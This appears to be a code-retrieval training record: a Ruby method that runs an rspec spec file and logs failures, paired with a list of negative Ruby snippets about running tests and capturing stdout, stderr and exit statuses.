def run @rspec_test_name = PATH_TO_RSPEC_SPEC_FOLDER + @rspec_test_name unless File.exists?("#{@rspec_test_name}") @@failed_tests.push("Test not exists: #{@rspec_test_name}") @@failed_tests_counter +=1 return 1 end @cmd = `rspec #{@rspec_test_name}` describe_test(@rspec_test_name, @cmd, $?.exitstatus) generate_and_expand_output end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def exit_with_error\n rspec_output.rewind\n\n abort(\n Color.red(\n 'Running the specs failed. Either your tests do not pass ' \\\n 'normally or this is a bug in RSpectre.'\n ) + <<~TEXT\n\n\n RSpec Output:\n ---\n #{rspec_output.read}\n TEXT\n )\n end", "def quiet_stdout\n around(:example) do |example|\n capture_stdout true\n example.run\n capture_stdout false\n end\nend", "def run_test(cmd)\n tStart = Time.now\n @out = \"-- #{tStart.strftime('[%H:%M:%S]')} running: [#{cmd}] \"\n begin\n status = Timeout::timeout(@test.timeout.to_i) {\n output = `#{cmd} 2>&1`\n\t @test.output = output\n @exit_status = case @test.output\n when /#{@config['test_exit_message_passed']}/ then @config['test_exit_message_passed']\n when /#{@config['test_exit_message_failed']}/ then @config['test_exit_message_failed']\n else @config['test_exit_message_failed']\n end\n }\n rescue Timeout::Error => e\n @test.output << \"\\n\\n[ TERMINATED WITH TIMEOUT (#{@test.timeout.to_s}) ]\"\n @exit_status = @config['test_exit_message_failed']\n rescue => e\n @test.output << \"\\n\\n[ ERROR ]\\n\\n\"\n @test.output << e.inspect\n @exit_status = @config['test_exit_message_failed']\n ensure\n @obj.p(@out.to_s + @exit_status.to_s)\n @obj.p(@output) if @config['output_on']\n end\n tFinish = Time.now\n @test.execution_time = tFinish - tStart\nend", "def test_verbose_mode_server_prints_received_contents_to_stdout\n skip(msg='Do not know how to capture STDOUT without implementing custom output stream variable')\n end", "def fake_stderr\n original_stderr = $stderr\n $stderr = StringIO.new\n yield\n $stderr.string\n rescue RSpec::Expectations::ExpectationNotMetError => e\n @exception = e\n raise\n ensure\n $stderr = original_stderr\n end", "def without_stderr; end", "def run_rspec_subprocess(args)\n IO.popen(\"bundle exec rspec #{args} --format documentation --format j --out #{@spec_output_file}\").each do |f|\n # listen to running specs and look for errors to report them early\n line = f.chomp\n if line.include? 'FAILED'\n # show an error with blink(1)\n blink(\"--blink 1 --rgb=#{BlinkColor.fail}\")\n end\n puts line\n end\n end", "def test_outputonfailure\n provider = newprovider\n\n dir = tstdir\n file = File.join(dir, \"mycmd\")\n sh = Puppet::Util.which(\"sh\")\n File.open(file, \"w\") { |f|\n f.puts %{#!#{sh}\n echo A Failure >&2\n exit 2\n }\n }\n File.chmod(0755, file)\n\n provider.commands :cmd => file\n\n inst = provider.new(nil)\n\n assert_raise(Puppet::ExecutionFailure) do\n inst.cmd \"some\", \"arguments\"\n end\n\n out = nil\n begin\n inst.cmd \"some\", \"arguments\"\n rescue Puppet::ExecutionFailure => detail\n out = detail.to_s\n end\n\n\n assert(\n out =~ /A Failure/,\n\n \"Did not receive command output on failure\")\n\n\n assert(\n out =~ /Execution of/,\n\n \"Did not receive info wrapper on failure\")\n end", "def rspec(index)\n if not @succeeded\n puts \"\\n#{color_print(\"Error\", :red)} (#{index}) - \\\"#{@testcase.name}\\\"\"\n puts @error_message\n end\n end", "def run_test_file(executable)\n @last_cmd = executable\n @last_out = \"\"\n @last_err = \"\"\n ret = Host.run_and_output(executable.to_s.shellescape)\n\n # print any stack traces found during a failure\n print_stack_dump(executable) unless ret\n\n ret\n end", "def test_help_screen\n out = capture(:out) do\n assert_raises(SystemExit) { Dotrun.new.run(\"-?\") }\n end\n assert_includes out, \"Available directives for\"\n end", "def fake_stderr\n original_stderr = $stderr\n $stderr = StringIO.new\n yield\n $stderr.string\n ensure\n $stderr = original_stderr\n end", "def run_tests\n\n ::RSpec::Core::Runner.run([])\n\n print ::IRB.CurrentContext.io.prompt\n\n end", "def rspec(options)\n unless options.empty?\n results = run(\"#{@bundle}#{rspec_command} --failure-exit-code 99 #{options}\")\n status = results[:status].exitstatus\n if status == 1\n puts \"An error occurred when running the tests\".red\n puts \"RSpec output:\"\n puts \"STDERR:\"\n puts results[:stderr]\n puts \"-\" * 80\n puts \"STDOUT:\"\n puts results[:stdout]\n puts \"sending error message\"\n send_error(results[:stdout], results[:stderr])\n else\n begin\n stats = extract_rspec_summary results[:stdout]\n puts(stats[:summary].send(results[:status] == 0 ? :green : :red))\n # enotify_notify results[:stdout], stats\n rspec_send_results results[:stdout], stats\n rescue StandardError => e\n puts \"ERROR extracting summary from rspec output: #{e}\".red\n puts e.backtrace\n puts \"RSpec output:\"\n puts \"STDERR:\"\n puts results[:stderr]\n puts \"-\" * 80\n puts \"STDOUT:\"\n puts results[:stdout]\n print \"Exit? (y/N)\"\n answer = STDIN.gets\n abort \"Execution aborted by the user\" if answer.strip.downcase == 'y'\n end\n end\n end\n end", "def fake_stdout\n original_stdout = $stdout\n $stdout = StringIO.new\n yield\n $stdout.string\n rescue RSpec::Expectations::ExpectationNotMetError => e\n @exception = e\n raise\n ensure\n $stdout = original_stdout\n end", "def mock_stderr\n @original_stderr ||= $stderr\n $stderr = StringIO.new\n end", "def test_command_failed\n assert_raise(Report::CommandFailed) { @report.run('nosuch') }\n assert_raise(Report::CommandFailed) { @report.run('cat', 'nosuch') }\n end", "def test_console\n console\n end", "def spec_helper_silence_stdout( &block )\n spec_helper_silence_stream( $stdout, &block )\nend", "def test_stdout_redir\n with_fixture 'stdoutredir' do\n assert system(\"ruby\", ocra, \"stdoutredir.rb\", *DefaultArgs)\n assert File.exist?(\"stdoutredir.exe\")\n system(\"stdoutredir.exe > output.txt\")\n assert File.exist?(\"output.txt\")\n assert_equal \"Hello, World!\\n\", File.read(\"output.txt\")\n end\n end", "def setup_fail(message)\n puts '-'*50\n message.each { |line| puts line }\n puts '-'*50\n exit\n end", "def dump_failures(*args)\n lock_output do\n super\n end\n @output.flush\n end", "def run!\n test_result = Tester::Runner.run(file)\n if test_result.stdout.to_s.strip.empty?\n new_reason = reason\n else\n new_reason = test_result.stdout \n end\n # Capture the exit status, and map to a result object\n result = case test_result.exitstatus\n when 0; Result::Pass\n when 1; Result::Fail\n when 2; Result::Skip\n when nil; Result::NoResult\n else\n new_reason = (test_result.stderr.strip + \"\\n\" + test_result.stdout.strip).strip\n Result::Error\n end\n Tester::Test.new(file, base, result, new_reason, stack)\n end", "def failed_example_output(example)\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n \n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def run_test(component)\n test_path = File.expand_path __dir__\n IO.popen(\"ruby #{test_path}/#{component}_spec.rb\") do |data|\n while line = data.gets\n puts line\n end\n end\n $?.exitstatus\nend", "def failure_details(io)\n super\n unless test_case.input.empty?\n format_block(io, \"Input\", test_case.input)\n end\n format_block(io, \"Evaluated commands\", test_case.evaluated_commands)\n comparisons.each do |expectation|\n expectation.format_details(io)\n end\n unless test_case.scope.debug.empty?\n format_block(io, \"Contents of *debug*\", test_case.scope.debug)\n end\n format_block(io, \"How to run this test\", test_case.shell_command_details)\n end", "def erroneous_result(cmd, exception)\n stdout = nil\n stderr = ([exception.message] + exception.backtrace).join(\"\\n\")\n status = 1\n rspec_example_metadata(cmd, stdout, stderr)\n CommandResult.new(stdout: stdout, stderr: stderr, exit_status: status)\n end", "def failed_example_output(example)\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n\n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def fail(msg)\n $stderr.puts msg\n Kernel.exit 1\nend", "def capture_stderr\n previous_stdout, $stdout = $stdout, StringIO.new\n yield\n $stdout.string\nensure\n $stdout = previous_stdout\nend", "def teardown\n reset_stdout\n end", "def run_with_tee(cmd)\n status, stdout, stderr = nil\n\n if windows?\n #:nocov: TODO: Test block\n system(cmd)\n status = $?.exitstatus\n #:nocov:\n else\n stdout, stderr = [$stdout, $stderr].map{ |t| StringTee.new(t) }\n status = Open4.spawn(cmd, 'stdout' => stdout, 'stderr' => stderr, 'quiet' => true)\n stdout, stderr = [stdout, stderr].map(&:string)\n end\n\n [status, stdout, stderr]\n end", "def test_log_warning\n res = capture_subprocess_io do\n log_warning do\n 1 / 0\n end\n end\n assert_match %r%WARN -- : ZeroDivisionError%, res.to_s\n end", "def runTest()\n # open program\n stdin, stdout, stderr, wait_thr = Open3.popen3(@definition.executable, *@definition.arguments)\n\n # put input template to program\n if File.file?(@definition.stdin)\n expect_stdin = IO.readlines(@definition.stdin)\n else\n expect_stdin = [ ]\n end\n\n expect_stdin.each do |x| stdin.puts x end\n stdin.close\n\n # store program output\n result_stdout = stdout.readlines\n result_stderr = stderr.readlines\n stdout.close\n stderr.close\n\n # retreive exit status\n result_status = wait_thr.value.exitstatus\n\n # compare program stdout\n if File.file?(@definition.stdout)\n expect_stdout = IO.readlines(@definition.stdout)\n else\n expect_stdout = [ ]\n end\n mismatch_stdout = compare(expect_stdout, result_stdout)\n\n # compare program stderr\n if File.file?(@definition.stderr)\n expect_stderr = IO.readlines(@definition.stderr)\n else\n expect_stderr = [ ]\n end\n mismatch_stderr = compare(expect_stderr, result_stderr)\n\n # compare program output files\n mismatch_files = false\n @definition.files.each do |output_file, file|\n if File.file?(file)\n expect_file = IO.readlines(file)\n else\n expect_file = [ ]\n end\n\n if File.file?(output_file)\n result_file = IO.readlines(output_file)\n else\n result_file = [ ]\n end\n mismatch_files |= compare(expect_file, result_file)\n end\n\n # compare program status\n mismatch_status = @definition.status != result_status\n\n # debugging output\n if @environment.verbose\n if mismatch_stdout\n puts \"mismatch in stdout\"\n end\n if mismatch_stderr\n puts \"mismatch in stderr\"\n end\n if mismatch_files\n puts \"mismatch in files\"\n end\n if mismatch_status\n puts \"mismatch in status\"\n end\n end\n\n # check the test results\n if !mismatch_stdout && !mismatch_stderr && !mismatch_files && ! mismatch_status\n return_value = false\n else\n return_value = true\n end\n\n return return_value\n end", "def failing_shellout_double(stdout='', stderr='', exitstatus=1)\n shellout = double(Mixlib::ShellOut)\n shellout.stub(:environment).and_return({})\n shellout.stub(:run_command)\n shellout.stub(:stdout).and_return(stdout)\n shellout.stub(:stderr).and_return(stderr)\n shellout.stub(:exitstatus).and_return(exitstatus)\n exception = Mixlib::ShellOut::ShellCommandFailed.new(\n \"Expected process to exit with 0, \" +\n \"but received '#{exitstatus}'\"\n )\n expect(shellout).to receive(:error!).and_raise(exception)\n shellout\n end", "def run\n sut_inspec_results = '/tmp/inspec_results.json'\n\n inspec_cmd = \"inspec exec '#{@test_dir}' --reporter json > #{sut_inspec_results}\"\n result = on(@sut, inspec_cmd, :accept_all_exit_codes => true)\n\n tmpdir = Dir.mktmpdir\n begin\n Dir.chdir(tmpdir) do\n if @sut[:hypervisor] == 'docker'\n %x(docker cp \"#{@sut.host_hash[:docker_container].id}:#{sut_inspec_results}\" .)\n else\n scp_from(@sut, sut_inspec_results, '.')\n end\n\n local_inspec_results = File.basename(sut_inspec_results)\n\n if File.exist?(local_inspec_results)\n begin\n # The output is occasionally broken from past experience. Need to\n # fetch the line that actually looks like JSON\n inspec_json = File.read(local_inspec_results).lines.find do |line|\n line.strip!\n\n line.start_with?('{') && line.end_with?('}')\n end\n\n @results = JSON.load(inspec_json) if inspec_json\n rescue JSON::ParserError, JSON::GeneratorError\n @results = nil\n end\n end\n end\n ensure\n FileUtils.remove_entry_secure tmpdir\n end\n\n unless @results\n File.open(@result_file + '.err', 'w') do |fh|\n fh.puts(result.stderr.strip)\n end\n\n err_msg = [\"Error running inspec command #{inspec_cmd}\"]\n err_msg << \"Error captured in #{@result_file}\" + '.err'\n\n fail(err_msg.join(\"\\n\"))\n end\n end", "def failing_shellout_double(stdout='', stderr='', exitstatus=1)\n shellout = double(Mixlib::ShellOut)\n shellout.stub(:environment).and_return({})\n shellout.stub(:run_command)\n shellout.stub(:stdout).and_return(stdout)\n shellout.stub(:stderr).and_return(stderr)\n shellout.stub(:exitstatus).and_return(exitstatus)\n exception = ::Mixlib::ShellOut::ShellCommandFailed.new(\n \"Expected process to exit with 0, \" +\n \"but received '#{exitstatus}'\"\n )\n expect(shellout).to receive(:error!).and_raise(exception)\n shellout\n end", "def clean_exit\n passed = all_by_exit_status(@test_data['test_exit_message_passed'])\n failed = all_by_exit_status(@test_data['test_exit_message_failed'])\n skipped = all_by_exit_status(@test_data['test_exit_message_skipped'])\n @test_data.merge!({'execution_time' => @execution_time, 'passed' => passed, 'failed' => failed, 'skipped' => skipped})\n Publisher.new(@test_data).publish_reports\n puts(\"\\n==> DONE\\n\\n\")\n puts(\" -- execution time : #{@execution_time.to_s} secs\\n\")\n puts(\" -- tests executed : #{@executed_tests.to_s}\\n\")\n puts(\" -- reports prepared: #{@test_data['reports_dir']}\\n\")\n puts(\" -- tests passed : #{passed.length.to_s}\\n\")\n puts(\" -- tests failed : #{failed.length.to_s}\\n\")\n puts(\" -- tests skipped : #{skipped.length.to_s}\\n\")\n if (@test_data['test_retry'] > 0)\n puts(\" -- tests re-tried : #{@tests_retried_counter.to_s}\\n\")\n end\n if failed.length > 0\n puts(\"\\n\\n==> STATUS: [ some tests failed - execution failed ]\\n\")\n exit(1)\n end\n exit(0)\nend", "def stderr\n run unless ran?\n\n @stderr\n end", "def test_directives_list\n with_fixture do\n out = capture(:out) do\n assert_raises(SystemExit) { Dotrun.new.run(\"-?\") }\n end\n assert_includes out, \"echo default\"\n assert_includes out, \"echo sample\"\n end\n end", "def log_error test, message\n $stderr.puts message if Rails.env.development?\n TestResult.new(suite_name: self.class.name, test_name: test, messages: message, error:true).tap do |tr|\n test_results << tr\n end\n message\n end", "def assert_cli(**args)\n expected_output = strip_indent(args[:output])\n expected_error = strip_indent(args[:error])\n out, err = capture_io{ cli.call(args[:verbose], args[:search]) }\n err.should eq(expected_error)\n out.should eq(expected_output)\n end", "def assert_cli(**args)\n expected_output = strip_indent(args[:output])\n expected_error = strip_indent(args[:error])\n out, err = capture_io{ cli.call(args[:verbose], args[:search]) }\n err.should eq(expected_error)\n out.should eq(expected_output)\n end", "def failed_example_output example\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n\n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def print_results\n if !@failures.empty?\n @failures.each do |test|\n pout \"\\nFailed: #{test[:desc]}\"\n puts test[:result]\n # print a newline for easier reading\n puts \"\"\n end\n abort\n else\n puts \"All passed!\".green\n end\nend", "def test_read_bad_file\n assert_raises SystemExit do\n assert_output 'File does not exist', @verify.read('sample_test.txt')\n end\n end", "def have_stderr *expectations\n StderrMatcher.new(*expectations)\n end", "def command log\n test_command=\"\"\n\n log.scan(/^.*#([^\\n]*)\\n.*\\#\\ \\.([^\\n]*)\\:/m).each do |data|\n test_command+=\"spec \" if test_command.empty? \n test_command+=\".#{data[1]},\"\n end\n\n log.scan(/^.*#(\\w+)\\s?\\[(.*)\\]/).each do |data|\n test_command+=\"ruby -Itest #{data[0]} -n #{data[1]};\"\n end\n\n test_command\n end", "def test_exception\n with_fixture 'exception' do\n system(\"ruby \\\"#{ocra}\\\" exception.rb #{DefaultArgs.join(' ')} 2>NUL\")\n assert $?.exitstatus != 0\n assert !File.exist?(\"exception.exe\")\n end\n end", "def consume_stderr(text)\n @@log.warn {\"Unexpected line on stderr: '#{text}'. Verify that scripts are not broken.\"}\n end", "def stream_out(msg)\n if ($gTest_params[\"verbosity\"] != \"quiet\")\n print msg\n end\n if ($gTest_params[\"logfile\"])\n $fLOG.write(msg)\n end\nend", "def run_and_examine(command)\n response = IO.popen(command).readlines\n response.each { |response_line| @errors << response_line if response_line =~ /Error/i }\n puts \">#{command}\\n#{response.join}\" if $verbose || (@errors.size > 0)\n @errors.size == 0\n end", "def summary_at_exit\n reporter = Speciny::Reporter.new(@description)\n @tests.each do |example, result|\n reporter.print_test_result(example, result)\n end\n end", "def stdout_should_receive(*messages)\n messages.each do |message|\n @stdout.should_receive(:puts).with(message).once.ordered\n end\nend", "def assert_output output\n stdout = $stdout.dup\n Tempfile.open 'stdout-redirect' do |temp|\n $stdout.reopen temp.path, 'w'\n yield if block_given?\n $stdout.reopen stdout\n temp.rewind\n\n temp.readline; temp.readline\n assert_equal output, temp.read.chop\n end \n end", "def retest\n spawn_cmd \"ctest --test-dir #{@build_dir} #{'-VV' if verbose?} #{@jobflag} --rerun-failed --output-on-failure\"\n end", "def mock_output(options = {})\n outputs = []\n exitcode = options[:exit] || 0\n\n # Load a fixture for the given stream\n [:stderr, :stdout].each do |fd|\n fixture = options[fd]\n next unless fixture\n\n lines = Array === fixture ? fixture : Fixture.for(fixture)\n outputs << [ lines, fd ]\n end\n\n ITunes::Store::Transporter::Shell.any_instance.should_receive(:exec) do |*options, &block|\n outputs.each do |lines, fd|\n lines.each { |line| block.call(line, fd) }\n end\n exitcode\n end\n end", "def run(with = nil)\n with ||= RSpec::Core::Runner.new(nil)\n @rspec_exit_code = with.run_specs(tests)\n @formatter.results\n end", "def capture\n stats = Quickie::Runner.class_variable_get(:@@stats)\n trace = Quickie::Runner.class_variable_get(:@@trace)\n\n standard, $stdout = $stdout, StringIO.new\n yield\n $stdout.string\nensure\n if $stdout.string == '.'\n stats[:success] -= 1\n else\n stats[:failure] -= 1\n trace.pop\n end\n $stdout = standard\nend", "def test_run_specific_directive\n with_fixture do\n out = capture_subprocess_io { system \"dotrun sample\" }\n assert !out.join.include?(\"default result\")\n assert_includes out.join, \"sample result\"\n end\n end", "def stream_out(msg)\n if ($gTest_params[\"verbosity\"] != \"quiet\")\n print msg\n end\n if ($gTest_params[\"logfile\"])\n $fLOG.write(msg)\n end\nend", "def dump_failures(notification)\n failure_notifications = notification.failure_notifications\n return if failure_notifications.empty?\n\n failure_notifications.each do |failure|\n exception = failure.exception\n next unless exception\n\n sauce_test_link = failure.example.metadata[:sauce_test_link]\n next unless sauce_test_link\n\n # Use nonbreaking space to bypass message.strip and ensure we have\n # a newline after the message and before the stack trace.\n nbsp = \"\\u00A0\"\n message = \"#{exception.message}\\n#{sauce_test_link}\\n#{nbsp}\"\n exception.instance_eval <<-RUBY\n def message\n %q(#{message})\n end\n\n def to_s\n message\n end\n RUBY\n end\n\n # Use default RSpec logic to format the failures now that we've\n # attached the Sauce test link to the exceptions\n super\n end", "def cli_command(argv, expectation)\n begin\n Bebox::Cli.new(argv)\n rescue SystemExit => e\n if expectation == :success\n expect([0, 1]).to include(e.status)\n else\n expect([0, 1]).to_not include(e.status)\n end\n end\nend", "def sub_test\n shell(test_script, source_dir)\n end", "def verify_output(*expected_output)\n actual_output = read_output_stream\n expected_output.each do |expected|\n assert actual_output.include?(expected.to_s), show_missing_output(expected, actual_output)\n end\nend", "def run_eunit_all\n cmd = \"./rebar eunit skip_deps=true\"\n puts \"Executing #{cmd}\"\n puts `#{cmd}`\n if $? == 0\n Growl.notify_ok \"eunit: all tests passed.\"\n else\n Growl.notify_error \"eunit: tests failed.\"\n end\nend", "def shell_run\n success = ruby('rubytest', *config.to_shellwords)\n exit -1 unless success\n end", "def capture_stderr(&block)\n old = $stderr\n $stderr = fake = StringIO.new\n yield\n fake.string\n ensure\n $stderr = old\n end", "def stream(pb, raise_on_failure: false)\n cmd = config.to_s(\"#{BIN} #{pb}\")\n error_at_line = {}\n\n pid = SafePty.spawn cmd do |r,_,_| # add -vvvv here for verbose\n line_num = 0\n\n until r.eof? do\n line = r.gets\n line_num += 1\n\n block_given? ? yield(line) : puts(line)\n\n # track errors in output by line\n if raise_on_failure\n case line\n when /(fatal|failed): \\[/ then error_at_line[line_num] ||= \"FAILED: #{line}\"\n when /ERROR!/, /FAILED!/ then error_at_line[line_num] ||= \"ERROR: #{line}\"\n # allow errors on previous line to be ignored\n when /...ignoring/ then error_at_line.delete(line_num-1)\n end\n\n if raise_on_failure == :during\n # trigger failure unless it was ignored\n fatal_unskipped_error = error_at_line[line_num-1]\n raise Playbook::Exception.new(fatal_unskipped_error) if fatal_unskipped_error\n end\n end\n end\n end\n\n if raise_on_failure\n # at this point, all output has been streamed\n fatal_unskipped_error = error_at_line.first\n raise Playbook::Exception.new(fatal_unskipped_error.last) if fatal_unskipped_error\n end\n\n pid\n end", "def testcase_output(str, testcase, newline=true)\n testcase.output(str, newline) if testcase\n end", "def run\n sut_inspec_results = '/tmp/inspec_results.json'\n\n inspec_version = Gem::Version.new(on(@sut, 'inspec --version').output.lines.first.strip)\n\n # See: https://github.com/inspec/inspec/pull/3935\n if inspec_version <= Gem::Version.new('3.9.0')\n inspec_cmd = \"inspec exec '#{@test_dir}' --reporter json > #{sut_inspec_results}\"\n else\n inspec_cmd = \"inspec exec '#{@test_dir}' --chef-license accept --reporter json > #{sut_inspec_results}\"\n end\n\n result = on(@sut, inspec_cmd, :accept_all_exit_codes => true)\n\n tmpdir = Dir.mktmpdir\n begin\n Dir.chdir(tmpdir) do\n scp_from(@sut, sut_inspec_results, '.')\n\n local_inspec_results = File.basename(sut_inspec_results)\n\n if File.exist?(local_inspec_results)\n begin\n # The output is occasionally broken from past experience. Need to\n # fetch the line that actually looks like JSON\n inspec_json = File.read(local_inspec_results).lines.find do |line|\n line.strip!\n\n line.start_with?('{') && line.end_with?('}')\n end\n\n @results = JSON.load(inspec_json) if inspec_json\n rescue JSON::ParserError, JSON::GeneratorError\n @results = nil\n end\n end\n end\n ensure\n FileUtils.remove_entry_secure tmpdir\n end\n\n if @results.nil? || @results.empty?\n File.open(@result_file + '.err', 'w') do |fh|\n fh.puts(result.stderr.strip)\n end\n\n err_msg = [\"Error running inspec command #{inspec_cmd}\"]\n err_msg << \"Error captured in #{@result_file}\" + '.err'\n\n fail(err_msg.join(\"\\n\"))\n end\n end", "def extra_failure_content(exception)\n require 'rspec/core/formatters/snippet_extractor'\n backtrace = exception.backtrace.map {|line| backtrace_line(line)}\n backtrace.compact!\n @snippet_extractor ||= RSpec::Core::Formatters::SnippetExtractor.new\n \" <pre class=\\\"ruby\\\"><code>#{@snippet_extractor.snippet(backtrace)}</code></pre>\"\n end", "def capture_error_output\n puts \"Capturing error output...\"\n\n @stderr.flush\n error_catching_thread = Thread.new {\n @out = \"\"\n thread = Thread.start do\n @stderr.each_line do |line|\n @out << line\n end\n end\n }\n @stderr.sync = false\n\n line = \"\"\n while c = @stdout.read(1)\n line += c\n if line =~ /\\(fcsh\\)/\n puts \"Done....\"\n return @out\n end\n next if c != \"/n\"\n\n puts \"(out) \" + line.inspect if $DEBUG\n if line =~ /Nothing has changed/\n puts \"Nothing has changed\" if $DEBUG\n return @out\n end\n\n if line =~ /Files changed:/\n puts \"Filed changed:\" if $DEBUG\n return @out\n end\n\n if line =~ /Error: (.*)/\n raise CompileError.new(line)\n end\n\n if line =~ /.+\\.swf/\n puts \"\" if $DEBUG\n return @out\n end\n\n line = \"\"\n end\n end", "def testRunActionWithError\n executeSlave(\n [\n '--user', 'DummyUser',\n '--tool', 'DummyTool',\n '--action', 'DummyActionError'\n ],\n :AddRegressionActions => true,\n :Repository => 'Dummy/AllDummyActionsAvailable',\n :Error => WEACE::Slave::Client::ActionExecutionsError\n ) do |iError|\n assert(defined?(iError.ErrorsList))\n assert(iError.ErrorsList.kind_of?(Array))\n assert_equal(1, iError.ErrorsList.size)\n assert(iError.ErrorsList[0].kind_of?(Array))\n assert_equal(5, iError.ErrorsList[0].size)\n lProduct, lTool, lAction, lParams, lError = iError.ErrorsList[0]\n assert_equal('RegProduct', lProduct)\n assert_equal('DummyTool', lTool)\n assert_equal('DummyActionError', lAction)\n assert_equal([], lParams)\n assert(lError.kind_of?(WEACE::Slave::Adapters::DummyProduct::DummyTool::DummyError))\n end\n end", "def stderr; end", "def stderr; end", "def stderr; end", "def stderr; end", "def teardown\n $stdout = @old_stdout\n end", "def teardown\n $stdout = @old_stdout\n end", "def teardown\n $stdout = @old_stdout\n end", "def streams_after(out_,err_)\n $stdout = out_\n $stderr = err_\nend", "def run_specs(args)\n begin\n # indicate that the specs are running\n blink(\"--glimmer --rgb=#{BlinkColor.running}\")\n\n run_rspec_subprocess(args)\n rescue SystemExit, Interrupt\n # catch keyboard interrupt to remove generated file and cleanly exit\n blink(\"--blink 1 --rgb=#{BlinkColor.error}\")\n return nil,nil,nil\n end\n\n # handle rspec execution errors\n exit_code = $?.exitstatus\n unless [0, 1].include? exit_code\n blink(\"--blink 1 --rgb=#{BlinkColor.error}\")\n puts \"Rspec could not be executed correctly. Exit Code: #{exit_code}\"\n return nil,nil,nil\n end\n\n results\n end", "def run_tests\n system(\"bundle exec rspec #{rspec_arguments.join(' ')}\")\n end", "def fail(msg)\n $stderr.puts(msg)\n exit(1)\nend", "def capture_output &block\n old_stdout = $stdout\n test_stdout = StringIO.new\n $stdout = test_stdout\n block.call\n test_stdout.string\nensure\n $stdout = old_stdout\nend", "def log_and_fail_test(exception)\n @logger.error(exception.inspect)\n bt = exception.backtrace\n @logger.pretty_backtrace(bt).each_line do |line|\n @logger.error(line)\n end\n @test_status = :error\n @exception = exception\n end", "def teardown\n\t\t$stderr = @original_stderr\n\t\t$stdout = @original_stdout\n\tend", "def teardown\n\t\t$stderr = @original_stderr\n\t\t$stdout = @original_stdout\n\tend", "def test_bad_argument\n assert_equal 1, go_with_args(%w(--this_is_really_redonculouslywrong))\n assert_match(/Error: bad arguments/, @stderr_io.string )\n end", "def stderr\n @cmd_result.stderr\n end", "def run\n if server_is_available?\n run_tests\n @csv_writer.write(@configuration.csv_mode, @results) unless @results.empty? if defined?(Rails) and Rails.version.match(/^3.+$/)\n @results.each_with_index do |result, index|\n result.honk_in(@configuration.verbosity, index)\n end unless @results.empty?\n else\n puts(\"Server #{@configuration.host} seems to be unavailable!\")\n end\n error_count = @results.select{ |r| !r.succeeded }.count\n puts \"\\n\\nResults: I greatfully ran #{ @spec.size } test(s), \\033[32m#{ @spec.size - error_count }\\033[0m succeeded, \\033[31m#{ error_count }\\033[0m failed.\"\n exit(error_count)\n end", "def supress_stdout\n mock_io = StringIO.new\n stdout_real, $stdout = $stdout, mock_io\n if block_given?\n begin\n yield\n ensure\n $stdout = stdout_real\n end\n end\n mock_io\nend", "def foorth_output(source, expected)\r\n self.assertions += 1\r\n failed, msg = false, \"\"\r\n vm = Thread.current[:vm]\r\n\r\n actual, _nc = capture_io do\r\n vm.process_string(source)\r\n end\r\n\r\n if expected != actual\r\n msg = \"Expected: #{expected.inspect}\\n Actual: #{actual.inspect}\"\r\n raise MiniTest::Assertion, msg, caller\r\n end\r\n\r\n ensure\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def capture_error\n begin\n yield\n @error = all_output unless last_exit_status == 0\n rescue => @error\n end\n end", "def be_verbose(index)\n puts \"\\n#{result_case} (#{index+1})- #{@testcase.unique_identifier} - \\\"#{@testcase.name}\\\"\"\n puts @error_message\n puts(\"Request runtime: #{@response.runtime}\")\n puts(\" More more more verbosity\\n\")\n puts(\" request method: #{@testcase.request['method']}\")\n puts(\" resource path: #{@testcase.request['path']}\")\n puts(\" request headers: #{@testcase.request['headers']}\")\n puts(\" JSON body sent: #{@testcase.request['body']}\")\n puts(\" expectation:\")\n puts(\" response status code: #{@testcase.response_expectation['status_code']}\")\n puts(\" response headers: #{@testcase.response_expectation['headers']}\")\n puts(\" response body: #{@testcase.response_expectation['body']}\")\n puts(\" result:\")\n puts(\" response status code: #{@response.code}\")\n puts(\" response headers: #{@response.headers}\")\n puts(\" response body: #{JSON.parse(@response.body) rescue nil}\")\n end", "def test_usage\n assert_equal 1, go_with_args(%w(-h))\n assert_match(/^Usage: /, @stderr_io.string )\n end", "def recoverable_error e, msg = \"Error\", bt = []\n puts \"#{msg} at time #{clock}\"\n puts \"From \" + bt[0..2].join(\"\\n \") unless bt.empty\n puts \" ...\" if bt.length > 3\n shell.run\n end", "def run_command\n # run the test suite and check the result\n res, time = time_command @config.command\n if res then\n puts statusbar \"✓ All tests passed\", time, &:white_on_green\n else\n puts statusbar \"✗ Tests failed\", time, &:white_on_red\n end\n res\n end", "def test_basic\n testbase = 'help'\n op = StringIO.new('', 'w')\n Dir.chdir(SRC_DIR) do \n script = File.join('data', \"#{testbase}.cmd\")\n Debugger.const_set('Version', 'unit testing')\n Debugger.run_script(script, op)\n got_lines = op.string.split(\"\\n\")\n right_file = File.join('data', \"#{testbase}.right\")\n correct_lines = File.readlines(right_file)\n result = cheap_diff(got_lines, correct_lines)\n unless result\n puts '-' * 80\n puts got_lines \n puts '-' * 80\n end\n assert result \n end\n end", "def _write_failed_paths_in_tmp\n FileUtils.mkdir_p('tmp')\n File.open('./tmp/rspec_guard_result','w') do |f|\n f.puts _failed_paths.join(\"\\n\")\n end\n rescue\n # nothing really we can do, at least don't kill the test runner\n end" ]
